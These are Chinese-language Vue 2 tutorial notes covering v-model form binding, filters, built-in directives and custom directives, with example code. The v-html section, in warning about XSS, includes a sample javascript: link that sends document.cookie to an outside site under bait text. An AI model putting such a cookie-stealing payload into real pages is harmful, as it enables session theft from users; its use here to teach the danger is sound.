11. 收集表单数据
收集表单数据：
-
若：
<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。 -
若：
<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。 -
若：
<input type="checkbox"/>- 没有配置 input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
- 配置 input的value属性:
- v-model的初始值是 非数组 ，那么收集的就是checked（勾选 or 未勾选，是布尔值）
- v-model的初始值是 数组 ，那么收集的的就是value组成的数组
-
备注：v-model的三个修饰符：
- lazy：失去焦点再收集数据
- number：输入字符串转为有效的数字
- trim：输入首尾空格过滤
<body><!-- 准备好一个容器--><div id="root"><form @submit.prevent="demo">账号：<input type="text" v-model.trim="userInfo.account"> <br /><br />密码：<input type="password" v-model="userInfo.password"> <br /><br />年龄：<input type="number" v-model.number="userInfo.age"> <br /><br />性别：男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />爱好：学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br /><br />所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br /><br />其他信息：<textarea v-model.lazy="userInfo.other"></textarea> <br /><br /><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {userInfo: {account: '',password: '',age: 18,sex: 'female',hobby: [],city: 'beijing',other: '',agree: ''}},methods: {demo() {console.log(JSON.stringify(this.userInfo))}}})
</script>12. 过滤器
过滤器：
-
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
-
语法：
- 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
- 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
-
备注：
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据, 是产生新的对应的数据
-
例子中过滤器实现的逻辑：
-
首先捕获到红色框里的数据，随后把time作为参数传给timeFormater函数，然后就拿到了函数的返回值，并把红色框的数据给替换掉
-
-
例子中过滤器实现（传参的逻辑）—如果有两个过滤器是如何工作的
-
首先 time 回显传给timeFormater函数，然后拿到函数的返回值，再传给 mySlice 函数，最后展示mySlice的返回值
-
注意：time不会直接传给mySlice，是一层一层往下传递的。
-
<body><!-- 准备好一个容器--><div id="root"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>现在是：{{fmtTime}}</h3><!-- methods实现 --><h3>现在是：{{getFmtTime()}}</h3><!-- 过滤器实现 --><h3>现在是：{{time | timeFormater}}</h3><!-- 过滤器实现（传参） --><h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><h3 :x="msg | mySlice">尚硅谷</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false//全局过滤器Vue.filter('mySlice', function (value) {return value.slice(0, 4)})new Vue({el: '#root',data: {time: 1621561377603, //时间戳msg: '你好，尚硅谷'},computed: {fmtTime() {return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime() {return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},//局部过滤器filters: {timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {// console.log('@',value)return dayjs(value).format(str)}}})new Vue({el: '#root2',data: {msg: 'hello,atguigu!'}})
</script>13. 内置指令
1. 复习
我们学过的指令：
-
v-bind : 单向绑定解析表达式, 可简写为 :xxx
-
v-model : 双向数据绑定
-
v-for : 遍历数组/对象/字符串
-
v-on : 绑定事件监听, 可简写为@
-
v-if : 条件渲染（动态控制节点是否存存在）
-
v-else : 条件渲染（动态控制节点是否存存在）
-
v-show : 条件渲染 (动态控制节点是否展示)
2. 知新
1. v-text_指令
-
作用：向其所在的节点中渲染文本内容。
-
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
-
v-text不会解析标签
<body><!-- 准备好一个容器--><div id="root"><div>你好，{{name}}</div><div v-text="name"></div><div v-text="str"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷',str: '<h3>你好啊！</h3>'}})
</script>2. v-html_指令
-
作用：向指定节点中渲染包含html结构的内容。
-
与插值语法的区别：
- v-html会替换掉节点中所有的内容，{{xx}}则不会。
- v-html可以识别html结构。
-
严重注意：v-html有安全性问题！！！！
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
- document.cookie获取网站的cookie
- cookie的工作原理
<body><!-- 准备好一个容器--><div id="root"><div>你好，{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷',str: '<h3>你好啊！</h3>',str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',}})
</script>3. v-cloak_指令
v-cloak指令（没有值）：
- 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}（未经解析的模板跑到页面中）的问题。
- http://localhost:8080/resource/5s/vue.js 视频老师自己写的服务器，达到vue延迟5s载入的效果
- js阻塞：详情只是跳转 → 浏览器线程阻塞和无阻塞加载脚本的理解 - SegmentFault 思否
<body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷'}})
</script>4. v-once_指令
v-once指令：
- v-once所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
- 常用于场景：原始值不变，对比值，根据逻辑要求而变化
<head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {n: 1}})
</script>5. v-pre_指令
v-pre指令：
- 跳过其所在节点的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
<head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- v-pre指令：1.跳过其所在节点的编译过程。2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。--><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {n: 1}})
</script>14. 自定义指令 自定义指令
1. 需求
-
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
-
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
1. 自定义指令—函数式
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
-
验证big是不是真实dom的方法
通过打印a，来得到此目的
-
方法一：使用console.dir()
-
方法二：console.log()
有上述证明中可以可以得出a是一个真是的dom元素，结合文档的描述规范将a改成elemnet(元素)
-
-
打印b发现b是一个对象
而在文档规范中实参b写为binding(绑定对象)
-
big函数何时会被调用？
- 指令与元素成功绑定时（一上来）。
- 指令所在的模板被重新解析时。
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。big(element,binding){console.log('big')element.innerText = binding.value * 10},}})
</script></html>2. 自定义指令—对象式
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
为了解决我们所书写的数据中出现的初始页面未获取焦点，但是点击增加按钮时会获取焦点的问题，所以我们先用原生 js 来实现一下
1. 回顾一个DOM操作
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Document</title><style>.demo{background-color: orange;}</style></head><body><button id="btn">点我创建一个输入框</button><script type="text/javascript" >const btn = document.getElementById('btn')btn.onclick = ()=>{const input = document.createElement('input')input.className = 'demo'input.value = 99input.onclick = ()=>{alert(1)}document.body.appendChild(input)input.focus()// input.parentElement.style.backgroundColor = 'skyblue'console.log(input.parentElement)}</script></body>
</html>通过js的实现效果我们可以得出，代码是没问题的，只不过是执行的时机有问题，所以在此我们就不能使用函数形式了，因为函数形式时无法控制先后顺序的，他是 一上来就调用了 。这个时候我们就需要用到obj格式，来控制他的先后顺序
2. 使用对象实现
1. 配置对象中的函数
配置对象中常用的3个回调：
- bind：指令与元素成功绑定时调用。
- inserted：指令所在元素被插入页面时调用。
- update：指令所在模板结构被重新解析时调用。
2. 添加函数的参数
<body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。big(element,binding){console.log('big')element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时（一上来）bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})
</script>3.自定义指令—总结
2. 自定义指令总结：
-
定义语法：
-
局部指令：
new Vue({ directives:{指令名:配置对象} }) 或 new Vue({directives{指令名:回调函数} })-
第一种：
-
第二种：
简写成：
-
-
全局指令：
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
-
-
配置对象中常用的3个回调：
- bind：指令与元素成功绑定时调用。
- inserted：指令所在元素被插入页面时调用。
- update：指令所在模板结构被重新解析时调用。
- 其他钩子函数在这里 → 钩子函数，参数在这里→ 钩子函数参数
-
备注：
-
指令定义时不加v-，但使用时要加v-；
-
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
-
所有指令相关的this，不指向vm，而是指向window
-
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = false/* 定义全局指令 */// 对象形式/* Vue.directive('fbind',{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */// 函数形式/* Vue.directive('bind',function(element,binding){console.log('big', this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */big(element, binding) {console.log('big', this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时（一上来）bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})
</script></html>
